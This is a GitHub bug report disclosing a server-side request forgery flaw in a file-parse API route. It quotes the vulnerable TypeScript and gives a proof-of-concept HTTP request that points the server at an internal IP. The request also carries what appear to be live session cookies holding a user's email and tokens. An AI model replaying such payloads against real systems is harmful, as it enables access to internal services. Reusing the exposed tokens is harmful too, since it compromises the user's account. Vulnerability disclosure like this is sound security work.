Skip to content

[BUG] SSRF Vulnerability #960

@NinjaGPT

Description

@NinjaGPT

SSRF Vulnerability


Summary

In the file parse functionality (/api/files/parse), the target URL is user-controllable and lacks sufficient security handling,
thus allowing attackers to exploit SSRF vulnerabilities to access internal hosts and services.

Details

  • apps\sim\app\api\files\parse\route.ts
/**
 * Main API route handler
 */
export async function POST(request: NextRequest) {
  const startTime = Date.now()

  try {
    const requestData = await request.json()
    const { filePath, fileType } = requestData

    if (!filePath) {
      return NextResponse.json({ success: false, error: 'No file path provided' }, { status: 400 })
    }

    logger.info('File parse request received:', { filePath, fileType })

    // Handle multiple files
    if (Array.isArray(filePath)) {
      const results = []
      for (const path of filePath) {
        const result = await parseFileSingle(path, fileType)
 
 
async function parseFileSingle(filePath: string, fileType?: string): Promise<ParseResult> {
  logger.info('Parsing file:', filePath)

  // Validate path for security before any processing
  const pathValidation = validateFilePath(filePath)
  if (!pathValidation.isValid) {
    return {
      success: false,
      error: pathValidation.error || 'Invalid path',
      filePath,
    }
  }

  // Check if this is an external URL
  if (filePath.startsWith('http://') || filePath.startsWith('https://')) {
    return handleExternalUrl(filePath, fileType)
  }
  
  
  /**
 * Handle external URL fetch 
 */
async function handleExternalUrl(url: string, fileType?: string): Promise<ParseResult> {
  try {
    logger.info('Fetching external URL:', url)

    const response = await fetch(url, {
      signal: AbortSignal.timeout(DOWNLOAD_TIMEOUT_MS),

POC

POST /api/files/parse HTTP/1.1
Host: localhost:3000
Content-Length: 45
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
content-type: application/json
Accept: */*
Origin: http://localhost:3000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/workspace/b5ee1640-82f8-4559-a253-6152dc9e1334/w/c0a7c749-a96a-42b7-a62f-5c2fa65cc6af
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh;q=0.9,zh-CN;q=0.8
Cookie: better-auth.session_token=ZNi156c8KJer1owBjpGaA0uwVZPFfXsM.M70n7k6XrE9XzrONUv0NMwaySkA1r3vBtAk8VNPSjoQ%3D; better-auth.session_data=eyJzZXNzaW9uIjp7InNlc3Npb24iOnsiZXhwaXJlc0F0IjoiMjAyNS0wOS0wM1QwMjowNzoyNS40ODVaIiwidG9rZW4iOiJaTmkxNTZjOEtKZXIxb3dCanBHYUEwdXdWWlBGZlhzTSIsImNyZWF0ZWRBdCI6IjIwMjUtMDgtMDRUMDI6MDc6MjUuNDg1WiIsInVwZGF0ZWRBdCI6IjIwMjUtMDgtMDRUMDI6MDc6MjUuNDg1WiIsImlwQWRkcmVzcyI6IjE3Mi4xOS4wLjEiLCJ1c2VyQWdlbnQiOiJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTE3LjAuNTkzOC4xMzIgU2FmYXJpLzUzNy4zNiIsInVzZXJJZCI6Im1KbUllc3Ryc1NPUUJxQm14YmRIOXByNDV0bUMxQUhpIiwiaWQiOiJvWnZzR0dneXEwTFdFVTZMZDJqR0xpZHhGZnVsYTI1QSJ9LCJ1c2VyIjp7Im5hbWUiOiJjaG9uZ2Z1anVuIiwiZW1haWwiOiIzMjA5NTE1MjIzQHFxLmNvbSIsImVtYWlsVmVyaWZpZWQiOmZhbHNlLCJpbWFnZSI6bnVsbCwiY3JlYXRlZEF0IjoiMjAyNS0wOC0wMlQwNzozNToyOC44MjVaIiwidXBkYXRlZEF0IjoiMjAyNS0wOC0wMlQwNzozNToyOC44MjVaIiwiaWQiOiJtSm1JZXN0cnNTT1FCcUJteGJkSDlwcjQ1dG1DMUFIaSJ9fSwiZXhwaXJlc0F0IjoxNzU0MzU5NjQ1NTEwLCJzaWduYXR1cmUiOiJtRk1HenBMWk5MVmpkWmxiNDcwalpVQmprQV9jWERtZjJpckpCVzI1a0RjIn0; has_logged_in_before=true
Connection: close

{"filePath":"http://192.168.31.118:88/"}
image image

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions